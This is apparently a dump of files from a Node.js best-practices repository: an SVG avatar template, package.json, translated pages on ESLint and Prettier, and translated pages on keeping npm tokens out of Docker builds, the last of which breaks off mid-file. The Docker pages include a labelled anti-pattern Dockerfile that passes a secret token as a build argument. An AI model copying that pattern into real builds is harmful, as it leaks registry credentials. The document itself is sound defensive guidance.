    "content": "## How to create a new color coded icon image\n\nTo create a new image for yourself in either the collaborators or committee\nsections follow the directions and template below.\n\n1. Replace `[USERNAME]` in the template with your username.\n2. Replace `[BORDER_COLOR]` according to this:\n   - Committee: `#33cd32`\n   - Collaborators: `#0efeff`\n3. Paste the text into a text file with `.svg` extension.\n4. Open in an image editor of your choice that supports SVG and then export as\n   PNG (Enable transparency if it's optional)\n\n<br />\n\n```svg\n<svg\n  width=\"400\"\n  height=\"400\"\n  xmlns=\"http://www.w3.org/2000/svg\"\n>\n  <clipPath id=\"clipCircle\">\n    <circle r=\"200\" cx=\"200\" cy=\"200\" />\n  </clipPath>\n  <image\n    clip-path=\"url(#clipCircle)\"\n    width=\"400\" height=\"400\"\n    href=\"https://avatars.githubusercontent.com/[USERNAME]\">\n  </image>\n  <circle\n    r=\"197\"\n    cx=\"200\"\n    cy=\"200\"\n    stroke=\"[BORDER_COLOR]\"\n    stroke-width=\"6\"\n    fill=\"none\"\n  />\n</svg>\n```\n\n#### Tested Image Editors\n\n- [Inkscape](https://inkscape.org/)\n- [GIMP](https://www.gimp.org/)\n"
  },
  {
    "path": "assets/images/placeholdet.txt",
    "content": "lorem ipsum\r\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"nodebestpractices\",\n  \"version\": \"1.0.0\",\n  \"description\": \"[✔]: assets/images/checkbox-small-blue.png\",\n  \"main\": \"gen-html.js\",\n  \"scripts\": {\n    \"lint\": \"markdownlint ./README*.md\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/goldbergyoni/nodebestpractices.git\"\n  },\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"bugs\": {\n    \"url\": \"https://github.com/goldbergyoni/nodebestpractices/issues\"\n  },\n  \"homepage\": \"https://github.com/goldbergyoni/nodebestpractices#readme\",\n  \"dependencies\": {\n    \"markdownlint-cli\": \"^0.18.0\"\n  }\n}\n"
  },
  {
    "path": "sections/codestylepractices/eslint_prettier.basque.md",
    "content": "# Erabili ESLint eta Prettier\r\n\r\n### ESLint eta Prettier alderatzen\r\n\r\nKode hau formateatzen baduzu ESLint erabiliz, abisu bat besterik ez dizu emango luzeegia dela esanez (zure `max-len` ezarpenaren arabera). Prettierrek zure order automatikoki formateatuko du\r\n\r\n\r\n```javascript\r\nfoo(\r\n  argudioBenetanLuzea(),\r\n  aiAmaParametroPiloPiloa(),\r\n  hauGarbituBeharkoNuke(),\r\n  benetanOraindikBesteBat(),\r\n  txantxetanZabiltzaEzta()\r\n);\r\n```\r\n\r\n```javascript\r\nfoo(\r\n  argudioBenetanLuzea(),\r\n  aiAmaParametroPiloPiloa(),\r\n  hauGarbituBeharkoNuke(),\r\n  benetanOraindikBesteBat(),\r\n  txantxetanZabiltzaEzta()\r\n);\r\n```\r\n\r\nIturria: [https://github.com/prettier/prettier-eslint/issues/101](https://github.com/prettier/prettier-eslint/issues/101)\r\n\r\n### ESLint eta Prettier integratzen\r\n\r\nESLint eta Prettier kodea formateatzeko funtzionalitateetan gainjar daitezke, baina erraz konbina daitezke [prettier-eslint](https://github.com/prettier/prettier-eslint), [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier), eta [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier) bezalako liburutegiekin. Haien arteko ezberdintasunei buruzko informazio gehiago nahi izanez gero, [hemen](https://stackoverflow.com/questions/44690308/whats-the-difference-between-prettier-eslint-eslint-plugin-prettier-and-eslint) begira dezakezu esteka.\r\n"
  },
  {
    "path": "sections/codestylepractices/eslint_prettier.brazilian-portuguese.md",
    "content": "# Use ESLint e Prettier\r\n\r\n\r\n### Comparando ESLint com Prettier\r\n\r\nSe você formatar este código usando o ESLint, ele apenas dará um aviso de que ele é muito grande (dependendo da sua configuração `max-len`). O Prettier irá formatá-lo automaticamente para você.\r\n\r\n```javascript\r\nfoo(reallyLongArg(), omgSoManyParameters(), IShouldRefactorThis(), isThereSeriouslyAnotherOne(), noWayYouGottaBeKiddingMe());\r\n```\r\n\r\n```javascript\r\nfoo(\r\n  reallyLongArg(),\r\n  omgSoManyParameters(),\r\n  IShouldRefactorThis(),\r\n  isThereSeriouslyAnotherOne(),\r\n  noWayYouGottaBeKiddingMe()\r\n);\r\n```\r\n\r\nFonte: [https://github.com/prettier/prettier-eslint/issues/101](https://github.com/prettier/prettier-eslint/issues/101)\r\n\r\n### Integrando ESLint e Prettier\r\n\r\nESLint e Prettier se sobrepõem no recurso de formatação de código, mas podem ser facilmente combinados usando outros pacotes como [prettier-eslint](https://github.com/prettier/prettier-eslint), [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier), e [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier). Para mais informações sobre as diferenças entre eles, clique [aqui](https://stackoverflow.com/questions/44690308/whats-the-difference-between-prettier-eslint-eslint-plugin-prettier-and-eslint).\r\n"
  },
  {
    "path": "sections/codestylepractices/eslint_prettier.chinese.md",
    "content": "# 使用 ESLint 和 Prettier\r\n\r\n\r\n### 比较 ESLint 和 Prettier\r\n\r\n如果你使用ESLint格式化代码，它只是给你一个警告，比如这一行太宽（取决于你的`最大长度`设置）。Prettier会自动为你格式化。\r\n\r\n```javascript\r\nfoo(reallyLongArg(), omgSoManyParameters(), IShouldRefactorThis(), isThereSeriouslyAnotherOne(), noWayYouGottaBeKiddingMe());\r\n```\r\n\r\n```javascript\r\nfoo(\r\n  reallyLongArg(),\r\n  omgSoManyParameters(),\r\n  IShouldRefactorThis(),\r\n  isThereSeriouslyAnotherOne(),\r\n  noWayYouGottaBeKiddingMe()\r\n);\r\n```\r\n\r\nSource: [https://github.com/prettier/prettier-eslint/issues/101](https://github.com/prettier/prettier-eslint/issues/101)\r\n\r\n### 整合 ESLint 和 Prettier\r\n\r\nESLint和Prettier在代码格式化功能上有重叠, 但它可以很容易通过其他的包来解决，比如 [prettier-eslint](https://github.com/prettier/prettier-eslint), [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier), 和 [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier)。有关他们的差异的更多信息，您可以查看链接 [这里](https://stackoverflow.com/questions/44690308/whats-the-difference-between-prettier-eslint-eslint-plugin-prettier-and-eslint).\r\n"
  },
  {
    "path": "sections/codestylepractices/eslint_prettier.french.md",
    "content": "# Utilisez ESLint et Prettier\n\n\n### Comparaison d'ESLint et de Prettier\n\nSi vous formatez ce code à l'aide d'ESLint, il vous avertira simplement qu'il est trop large (dépend de votre paramètre `max-len`). Prettier le formatera automatiquement pour vous.\n\n```javascript\nfoo(reallyLongArg(), omgSoManyParameters(), IShouldRefactorThis(), isThereSeriouslyAnotherOne(), noWayYouGottaBeKiddingMe());\n```\n\n```javascript\nfoo(\n  reallyLongArg(),\n  omgSoManyParameters(),\n  IShouldRefactorThis(),\n  isThereSeriouslyAnotherOne(),\n  noWayYouGottaBeKiddingMe()\n);\n```\n\nSource : [https://github.com/prettier/prettier-eslint/issues/101](https://github.com/prettier/prettier-eslint/issues/101)\n\n### Intégration d'ESLint et de Prettier\n\nESLint et Prettier se recoupent dans la fonction de formatage du code mais ils peuvent être facilement combinés en utilisant d'autres packages comme [prettier-eslint](https://github.com/prettier/prettier-eslint), [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier) et [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier). Pour plus d'informations sur leurs différences, vous pouvez consulter le lien [ici](https://stackoverflow.com/questions/44690308/whats-the-difference-between-prettier-eslint-eslint-plugin-prettier-and-eslint).\n"
  },
  {
    "path": "sections/codestylepractices/eslint_prettier.japanese.md",
    "content": "# ESLint と Prettier を使う\r\n\r\n\r\n### ESLint と Prettier の比較\r\n\r\n以下のコードを ESLint でフォーマットすると、幅が広すぎるという警告が表示されます( `max-len` の設定によります) 。Prettier はそれを自動的にフォーマットしてくれます。\r\n\r\n```javascript\r\nfoo(reallyLongArg(), omgSoManyParameters(), IShouldRefactorThis(), isThereSeriouslyAnotherOne(), noWayYouGottaBeKiddingMe());\r\n```\r\n\r\n```javascript\r\nfoo(\r\n  reallyLongArg(),\r\n  omgSoManyParameters(),\r\n  IShouldRefactorThis(),\r\n  isThereSeriouslyAnotherOne(),\r\n  noWayYouGottaBeKiddingMe()\r\n);\r\n```\r\n\r\nソース: [https://github.com/prettier/prettier-eslint/issues/101](https://github.com/prettier/prettier-eslint/issues/101)\r\n\r\n### ESLint と Prettier の統合\r\n\r\nESLint と Prettier はコードフォーマット機能で重複していますが、[prettier-eslint](https://github.com/prettier/prettier-eslint) や [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier)、[eslint-config-prettier](https://github.com/prettier/eslint-config-prettier) のような他のパッケージを使うことで簡単に組み合わせることができます。それぞれの違いについての詳細は、リンク先の[こちら](https://stackoverflow.com/questions/44690308/whats-the-difference-between-prettier-eslint-eslint-plugin-prettier-and-eslint)をご覧ください。\r\n"
  },
  {
    "path": "sections/codestylepractices/eslint_prettier.korean.md",
    "content": "# ESLint와 Prettier 사용하기\n\n### ESLint와 Prettier 비교하기\n\n만약 당신이 ESLint를 사용해서 이 코드를 포맷한다면, 당신에게 너무 넓다는 경고만 줄 것이다 (당신의 `mas-len` 설정에 의존해). Prettier는 자동적으로 당신을 위해 그것을 포맷할 것이다.\n\n```javascript\nfoo(reallyLongArg(), omgSoManyParameters(), IShouldRefactorThis(), isThereSeriouslyAnotherOne(), noWayYouGottaBeKiddingMe());\n```\n\n```javascript\nfoo(\n  reallyLongArg(),\n  omgSoManyParameters(),\n  IShouldRefactorThis(),\n  isThereSeriouslyAnotherOne(),\n  noWayYouGottaBeKiddingMe()\n);\n```\n\n출처: [https://github.com/prettier/prettier-eslint/issues/101](https://github.com/prettier/prettier-eslint/issues/101)\n\n### ESLint와 Prettier 통합시키기\n\nESLint와 Prettier는 코드 포맷팅 기능에서 겹치지만 [prettier-eslint](https://github.com/prettier/prettier-eslint), [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier), 그리고 [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier)와 같은 다른 패키지들을 사용해 쉽게 결합시킬 수 있다. 그들의 차이점에 대해 더 많은 내용을 보려면, 당신은 [here](https://stackoverflow.com/questions/44690308/whats-the-difference-between-prettier-eslint-eslint-plugin-prettier-and-eslint) 링크를 볼 수 있다.\n"
  },
  {
    "path": "sections/codestylepractices/eslint_prettier.md",
    "content": "# Using ESLint and Prettier\r\n\r\n\r\n### Comparing ESLint and Prettier\r\n\r\nIf you format this code using ESLint, it will just give you a warning that it's too wide (depends on your `max-len` setting). Prettier will automatically format it for you.\r\n\r\n```javascript\r\nfoo(reallyLongArg(), omgSoManyParameters(), IShouldRefactorThis(), isThereSeriouslyAnotherOne(), noWayYouGottaBeKiddingMe());\r\n```\r\n\r\n```javascript\r\nfoo(\r\n  reallyLongArg(),\r\n  omgSoManyParameters(),\r\n  IShouldRefactorThis(),\r\n  isThereSeriouslyAnotherOne(),\r\n  noWayYouGottaBeKiddingMe()\r\n);\r\n```\r\n\r\nSource: [https://github.com/prettier/prettier-eslint/issues/101](https://github.com/prettier/prettier-eslint/issues/101)\r\n\r\n### Integrating ESLint and Prettier\r\n\r\nESLint and Prettier overlap in the code formatting feature but can be easily combined by using other packages like [prettier-eslint](https://github.com/prettier/prettier-eslint), [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier), and [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier). For more information about their differences, you can view the link [here](https://stackoverflow.com/questions/44690308/whats-the-difference-between-prettier-eslint-eslint-plugin-prettier-and-eslint).\r\n"
  },
  {
    "path": "sections/codestylepractices/eslint_prettier.polish.md",
    "content": "# Używanie ESLint oraz Prettier\n\n\n### Porównanie ESLint i Prettier\n\nJeśli sformatujesz ten kod za pomocą ESLint, wyświetli ostrzeżenie, że jest on zbyt szeroki (zależy od twojego ustawienia „max-len”). Prettier automatycznie go sformatuje.\n\n```javascript\nfoo(reallyLongArg(), omgSoManyParameters(), IShouldRefactorThis(), isThereSeriouslyAnotherOne(), noWayYouGottaBeKiddingMe());\n```\n\n```javascript\nfoo(\n  reallyLongArg(),\n  omgSoManyParameters(),\n  IShouldRefactorThis(),\n  isThereSeriouslyAnotherOne(),\n  noWayYouGottaBeKiddingMe()\n);\n```\n\nŹródło: [https://github.com/prettier/prettier-eslint/issues/101](https://github.com/prettier/prettier-eslint/issues/101)\n\n### Integracja ESLint i Prettier\n\nESLint i Prettier nakładają się na siebie w funkcji formatowania kodu, ale można je łatwo łączyć za pomocą innych pakietów, takich jak [prettier-eslint](https://github.com/prettier/prettier-eslint), [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier), i [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier). Aby uzyskać więcej informacji o ich różnicach, możesz zobaczyć link [tutaj](https://stackoverflow.com/questions/44690308/whats-the-difference-between-prettier-eslint-eslint-plugin-prettier-and-eslint).\n"
  },
  {
    "path": "sections/codestylepractices/eslint_prettier.russian.md",
    "content": "# Использование ESLint и Prettier\r\n\r\n\r\n### Сравнение ESLint и Prettier\r\n\r\nЕсли вы отформатируете код ниже с помощью ESLint, он просто выдаст вам предупреждение, что он слишком широкий (зависит от настроек `max-len`). Prettier же автоматически отформатирует его для вас.\r\n\r\n```javascript\r\nfoo(reallyLongArg(), omgSoManyParameters(), IShouldRefactorThis(), isThereSeriouslyAnotherOne(), noWayYouGottaBeKiddingMe());\r\n```\r\n\r\n```javascript\r\nfoo(\r\n  reallyLongArg(),\r\n  omgSoManyParameters(),\r\n  IShouldRefactorThis(),\r\n  isThereSeriouslyAnotherOne(),\r\n  noWayYouGottaBeKiddingMe()\r\n);\r\n```\r\n\r\nSource: [https://github.com/prettier/prettier-eslint/issues/101](https://github.com/prettier/prettier-eslint/issues/101)\r\n\r\n### Интеграция ESLint и Prettier\r\n\r\nESLint и Prettier перекрываются в функции форматирования кода, но могут быть легко объединены с помощью других пакетов, таких как [prettier-eslint](https://github.com/prettier/prettier-eslint), [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier), и [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier). Для получения дополнительной информации об их различиях вы можете просмотреть ссылку [здесь](https://stackoverflow.com/questions/44690308/whats-the-difference-between-prettier-eslint-eslint-plugin-prettier-and-eslint).\r\n"
  },
  {
    "path": "sections/docker/avoid-build-time-secrets.basque.md",
    "content": "# Garbitu eraikitze faseko sekretuak, saihestu sekretuak argudioetan\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nDocker irudi bat ez da soilik fitxategi pilo bat, eraikitze garaian gertatutakoa kontatzen duten geruza anitz baizik. Oso ohikoa izaten da garatzaileek npm giltza (tokena) behar izatea eraikitze garaian (gehienetan erregistro pribatuetarako), eta horretarako sasibide bat erabiltzen dute giltza eraikitze garaiko argudio bezala pasatuz. Sinplea eta segurua eman dezake, baina giltza hori garatzailearen ordenagailuko Docker historiatik, Docker erregistrotik eta IEtik eskura daiteke. Giltza eskuratzea lortzen duen erasotzailea gai izango da erakunde horren npm erregistro pribatuan idazteko. Bi aukera daude, hori baino  seguruagoak direnak: bikainena, Docker --secret funtzioalitatea erabiltzea (2020ko uztailetik aurrera esperimentala), fitxategi bat antolatzea ahalbidetzen duena eraikitze garaian. Bigarrenak, lehenengo, etapa anitzeko konpilazioa argudioekin erabiltzen du; gero, konpilazioa egiten du; eta, azkenik, bakarrik beharrezkoak diren fitxategiak kopiatzen ditu ekoizpenean. Azken teknika horrek ez du sekreturik igortzen irudiekin, baina sekretuak Dockeren historian agertuko dira. Normalean, erakunde gehienenek nahikoa segurutzat jotzen dute.\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: erabili Docker sekretu instalatuentzat (esperimentala, baina egonkorra)\r\n\r\n<details>\r\n\r\n<summary><strong>Dockerfile</strong></summary>\r\n\r\n```dockerfile\r\n# syntax = docker/dockerfile:1.0-experimental\r\n\r\nFROM node:12-slim\r\n\r\nWORKDIR /usr/src/app\r\nCOPY package.json package-lock.json ./\r\nRUN --mount=type=secret,id=npm,target=/root/.npmrc npm ci\r\n\r\n# Gainerakoa hemen dator\r\n```\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: modu seguruan eraiki etapa anitzeko konpilazioa erabiliz\r\n\r\n<details>\r\n\r\n<summary><strong>Dockerfile</strong></summary>\r\n\r\n```dockerfile\r\nFROM node:12-slim AS build\r\n\r\nARG NPM_TOKEN\r\n\r\nWORKDIR /usr/src/app\r\nCOPY . /dist\r\nRUN echo \"//registry.npmjs.org/:\\_authToken=\\$NPM_TOKEN\" > .npmrc && \\\r\n npm ci --production && \\\r\n rm -f .npmrc\r\n\r\n\r\nFROM build as prod\r\n\r\nCOPY --from=build /dist /dist\r\n\r\nCMD [\"node\", \"index.js\"]\r\n\r\n# ARG eta .npmrc ez dira agertuko azken irudian baina Docker daemonen etiketatu gabeko irudien zerrendan ager daitezke, ziurtatu hauek ezabatu dituzula\r\n```\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### Anti ereduaren kode adibidea: erabili eraikitze garaiko argudioak\r\n\r\n<details>\r\n\r\n<summary><strong>Dockerfile</strong></summary>\r\n\r\n```dockerfile\r\nFROM node:12-slim\r\n\r\nARG NPM_TOKEN\r\n\r\nWORKDIR /usr/src/app\r\nCOPY . /dist\r\nRUN echo \"//registry.npmjs.org/:\\_authToken=\\$NPM_TOKEN\" > .npmrc && \\\r\n npm ci --production && \\\r\n rm -f .npmrc\r\n\r\n# .npmrc copy komando berean ezabatzeari esker ez du geruzan gordeko, hala ere, irudi historian aurki ahalko dugu\r\n\r\nCMD [\"node\", \"index.js\"]\r\n```\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### Blogeko aipua: \"Sekretu hauek ez dira azken Dockerean gordetzen\"\r\n\r\n[Alexandra Ulsh](https://www.alexandraulsh.com/2019/02/24/docker-build-secrets-and-npmrc/?fbclid=IwAR0EAr1nr4_QiGzlNQcQKkd9rem19an9atJRO_8-n7oOZXwprToFQ53Y0KQ)en bloga\r\n\r\n> 2018ko azaroan, Docker 18.09k sekretu bandera berria gehitu zuen docker eraikuntzarentzat. Horrek aukera ematen digu gure fitxategi baten sekretuak Docker eraikuntzara pasatzeko. Sekretu horiek ez dira ez Dokeren azken irudian gordetzen, ez tarteko irudietan, ez irudiaren balioztatze historian. Eraikitze sekretuei esker, npm pakete pribatudun Docker irudiak eraiki ditzakezu, eraikitze argudiorik gabe eta etapa anitzekin.\r\n\r\n```\r\n\r\n```\r\n"
  },
  {
    "path": "sections/docker/avoid-build-time-secrets.chinese.md",
    "content": "# 清理编译过程中的秘钥，避免使用秘钥作为参数\n\n<br/><br/>\n\n### 一段解释\n\nDocker映像不仅仅是一堆文件，而是展示构建期间所发生的层级关系。在普通场景中，开发人员在构建过程中需要知道npm令牌（主要是对于私有registry）- 会通过把令牌作为构建参数来传递，但这种实现是错误的。这可能看起来是没什么问题，并且安全，但此令牌可以从开发人员机器中的Docker历史记录、Docker registry和CI中获得。获取到该令牌的攻击者就能够拥有写入此组织私有npm registry的权限。还有两个更安全的替代方法：完美无瑕的一个替代方案是使用Docker --secret功能（截至2020年7月还在实验阶段），它只允许在构建期间挂载（mount）文件。第二种方法是使用带args的多阶段（multi-stage）构建，然后只将必要的文件复制到生产环境。后一种技术将不会同时一起提供秘钥与镜像，但秘钥将出现在本地Docker的历史记录中 - 对大多数组织来说，这通常被认为足够安全。\n\n<br/><br/>\n\n### 代码示例 – 使用Docker挂载秘钥（实验功能但稳定）\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\n# syntax = docker/dockerfile:1.0-experimental\n\nFROM node:12-slim\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN --mount=type=secret,id=npm,target=/root/.npmrc npm ci\n\n# 剩余部分\n```\n\n</details>\n\n<br/><br/>\n\n### 代码示例 – 使用多阶段（multi-stage build）安全构建\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nARG NPM_TOKEN\n\nWORKDIR /usr/src/app\nCOPY . /dist\nRUN echo \"//registry.npmjs.org/:\\_authToken=\\$NPM_TOKEN\" > .npmrc && \\\n npm ci --production && \\\n rm -f .npmrc\n\n\nFROM build as prod\n\nCOPY --from=build /dist /dist\nCMD [\"node\", \"index.js\"]\n\n# ARG和.npmrc在最终的镜像中不会出现，但会在Docker daemon的未打标签（un-tagged）镜像列表中找到它们 - 确保删除他们 \n```\n\n</details>\n\n<br/><br/>\n\n### 代码示例 反模式 - 使用构建参数\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\nARG NPM_TOKEN\n\nWORKDIR /usr/src/app\nCOPY . /dist\nRUN echo \"//registry.npmjs.org/:\\_authToken=\\$NPM_TOKEN\" > .npmrc && \\\n npm ci --production && \\\n rm -f .npmrc\n\n# 在拷贝命令的同时删除.npmrc文件不会在layer里面保存它, 但在镜像历史里面还是会找到它\n\nCMD [\"node\", \"index.js\"]\n```\n\n</details>\n\n<br/><br/>\n\n### 博客引用: \"秘钥不会保存在最终的Docker中\"\n\n摘自博客, [Alexandra Ulsh](https://www.alexandraulsh.com/2019/02/24/docker-build-secrets-and-npmrc/?fbclid=IwAR0EAr1nr4_QiGzlNQcQKkd9rem19an9atJRO_8-n7oOZXwprToFQ53Y0KQ)\n\n> 在2018年11月，Docker18.09在docker构建过程中引入一个新的标志（flag）--secret。它允许用户通过一个文件传递秘钥到Docker包中（build）。这些秘钥不会保存在最终的Docker镜像，中间镜像和镜像提交历史里面。借助构建参数secret，您现在可以使用私有npm包安全地构建Docker映像，而无需构建参数和多阶段（multi-stage）构建。\n\n```\n\n```\n"
  },
  {
    "path": "sections/docker/avoid-build-time-secrets.french.md",
    "content": "# Clean build-time secrets, avoid secrets as args\n\n<br/><br/>\n\n### One Paragraph Explainer\n\n\nA Docker image isn't just a bunch of files but rather multiple layers revealing what happened during build-time. In a very common scenario, developers need the npm token during build time (mostly for private registries) - this is falsely achieved by passing the token as a build time args. It might seem innocent and safe, however this token can now be fetched from the developer's machine Docker history, from the Docker registry and the CI. An attacker who gets access to that token is now capable of writing into the organization private npm registry. There are two more secured alternatives: The flawless one is using Docker --secret feature (experimental as of July 2020) which allows mounting a file during build time only. The second approach is using multi-stage build with args, building and then copying only the necessary files to production. The last technique will not ship the secrets with the images but will appear in the local Docker history - This is typically considered as secured enough for most organizations.\n\n<br/><br/>\n\n### Code Example – Using Docker mounted secrets (experimental but stable)\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\n# syntax = docker/dockerfile:1.0-experimental\n\nFROM node:12-slim\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN --mount=type=secret,id=npm,target=/root/.npmrc npm ci\n\n# The rest comes here\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example – Building securely using multi-stage build\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nARG NPM_TOKEN\n\nWORKDIR /usr/src/app\nCOPY . /dist\n\nRUN echo \"//registry.npmjs.org/:\\_authToken=\\$NPM_TOKEN\" > .npmrc && \\\n npm ci --production && \\\n rm -f .npmrc\n\n\nFROM build as prod\n\nCOPY --from=build /dist /dist\nCMD [\"node\", \"index.js\"]\n\n# The ARG and .npmrc won't appear in the final image but can be found in the Docker daemon un-tagged images list - make sure to delete those\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example Anti Pattern – Using build time args\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\nARG NPM_TOKEN\n\nWORKDIR /usr/src/app\nCOPY . /dist\n\nRUN echo \"//registry.npmjs.org/:\\_authToken=\\$NPM_TOKEN\" > .npmrc && \\\n npm ci --production && \\\n rm -f .npmrc\n\n# Deleting the .npmrc within the same copy command will not save it inside the layer, however it can be found in image history\n\nCMD [\"node\", \"index.js\"]\n```\n\n</details>\n\n<br/><br/>\n\n### Blog Quote: \"These secrets aren’t saved in the final Docker\"\n\nFrom the blog, [Alexandra Ulsh](https://www.alexandraulsh.com/2019/02/24/docker-build-secrets-and-npmrc/?fbclid=IwAR0EAr1nr4_QiGzlNQcQKkd9rem19an9atJRO_8-n7oOZXwprToFQ53Y0KQ)\n\n> In November 2018 Docker 18.09 introduced a new --secret flag for docker build. This allows us to pass secrets from a file to our Docker builds. These secrets aren’t saved in the final Docker image, any intermediate images, or the image commit history. With build secrets, you can now securely build Docker images with private npm packages without build arguments and multi-stage builds.\n\n```\n\n```"
  },
  {
    "path": "sections/docker/avoid-build-time-secrets.japanese.md",
    "content": "# ビルド時のシークレットをクリーンアウトし、引数にシークレットを含めることを避ける\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nDocker イメージは単なるファイルの束ではなく、ビルド時に何が起こったかを明らかにする、複数のレイヤーを持っています。非常によくあるシナリオとして、開発者がビルド時に（主にプライベートレジストリのために）npm トークンを必要とする場面があります - ビルド時の引数としてこのトークンの値を渡すことでは、安全性を保つことはできません。無垢で安全のように思われますが、このトークン値は、開発者のマシン上の Docker 履歴や Docker レジストリ、CI から取り出すことができます。トークンを取得した攻撃者は、組織のプライベート npm レジストリに書き込むことができるようになります。これには、より安全な代替手段が2つあります: 申し分ない手段として、ビルド時にのみファイルをマウントすることができる、Docker の --secret 機能（2020年7月時点で実験的機能）を利用する方法があります。2つ目の方法は引数と共にマルチステージビルドを行う方法で、ビルドを行い、そしてプロダクションに必要なファイルのみをコピーするというものです。この2つ目の方法はイメージと一緒にシークレットをデプロイしてしまうことはありませんが、ローカルの Docker 履歴には現れます - これは多くの組織にとって十分に安全であると考えられています。\r\n\r\n\r\n<br/><br/>\r\n\r\n### コード例 – Docker mounted シークレットを利用する（実験的機能だが、安定している）\r\n\r\n<details>\r\n\r\n<summary><strong>Dockerfile</strong></summary>\r\n\r\n```dockerfile\r\n# syntax = docker/dockerfile:1.0-experimental\r\n\r\nFROM node:12-slim\r\n\r\nWORKDIR /usr/src/app\r\nCOPY package.json package-lock.json ./\r\nRUN --mount=type=secret,id=npm,target=/root/.npmrc npm ci\r\n\r\n# 残りの部分がここに来ます\r\n```\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### コード例 – マルチステージビルドを利用してセキュアにビルドする\r\n\r\n<details>\r\n\r\n<summary><strong>Dockerfile</strong></summary>\r\n\r\n```dockerfile\r\nFROM node:12-slim AS build\r\n\r\nARG NPM_TOKEN\r\n\r\nWORKDIR /usr/src/app\r\nCOPY . /dist\r\n\r\nRUN echo \"//registry.npmjs.org/:\\_authToken=\\$NPM_TOKEN\" > .npmrc && \\\r\n npm ci --production && \\\r\n rm -f .npmrc\r\n\r\n\r\nFROM build as prod\r\n\r\nCOPY --from=build /dist /dist\r\nCMD [\"node\", \"index.js\"]\r\n\r\n# ARG と .npmrc は最終的なイメージには現れませんが、Docker デーモンの un-tagged イメージリストから見つけることができます - これらを忘れずに削除してください\r\n```\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### コード例（アンチパターン） – ビルド時の引数を利用する\r\n\r\n<details>\r\n\r\n<summary><strong>Dockerfile</strong></summary>\r\n\r\n```dockerfile\r\nFROM node:12-slim\r\n\r\nARG NPM_TOKEN\r\n\r\nWORKDIR /usr/src/app\r\nCOPY . /dist\r\nRUN echo \"//registry.npmjs.org/:\\_authToken=\\$NPM_TOKEN\" > .npmrc && \\\r\n npm ci --production && \\\r\n rm -f .npmrc\r\n\r\n# .npmrc を同じ copy コマンド内で削除するとレイヤー内には保存されませんが、イメージ履歴から見つけることができます\r\n\r\nCMD [\"node\", \"index.js\"]\r\n```\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: \"These secrets aren’t saved in the final Docker\"（これらのシークレットは最終的な Docker イメージに保存されません）\r\n\r\nブログ [Alexandra Ulsh](https://www.alexandraulsh.com/2019/02/24/docker-build-secrets-and-npmrc/?fbclid=IwAR0EAr1nr4_QiGzlNQcQKkd9rem19an9atJRO_8-n7oOZXwprToFQ53Y0KQ) より:\r\n\r\n> In November 2018 Docker 18.09 introduced a new --secret flag for docker build. This allows us to pass secrets from a file to our Docker builds. These secrets aren’t saved in the final Docker image, any intermediate images, or the image commit history. With build secrets, you can now securely build Docker images with private npm packages without build arguments and multi-stage builds.\r\n"
  },
  {
    "path": "sections/docker/avoid-build-time-secrets.md",
    "content": "# Clean build-time secrets, avoid secrets as args\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\n\r\nA Docker image isn't just a bunch of files but rather multiple layers revealing what happened during build-time. In a very common scenario, developers need the npm token during build time (mostly for private registries) - this is falsely achieved by passing the token as a build time args. It might seem innocent and safe, however this token can now be fetched from the developer's machine Docker history, from the Docker registry and the CI. An attacker who gets access to that token is now capable of writing into the organization private npm registry. There are two more secured alternatives: The flawless one is using Docker --secret feature (experimental as of July 2020) which allows mounting a file during build time only. The second approach is using multi-stage build with args, building and then copying only the necessary files to production. The last technique will not ship the secrets with the images but will appear in the local Docker history - This is typically considered as secured enough for most organizations.\r\n\r\n<br/><br/>\r\n\r\n### Code Example – Using Docker mounted secrets (experimental but stable)\r\n\r\n<details>\r\n\r\n<summary><strong>Dockerfile</strong></summary>\r\n\r\n```dockerfile\r\n# syntax = docker/dockerfile:1.0-experimental\r\n\r\nFROM node:12-slim\r\n\r\nWORKDIR /usr/src/app\r\nCOPY package.json package-lock.json ./\r\nRUN --mount=type=secret,id=npm,target=/root/.npmrc npm 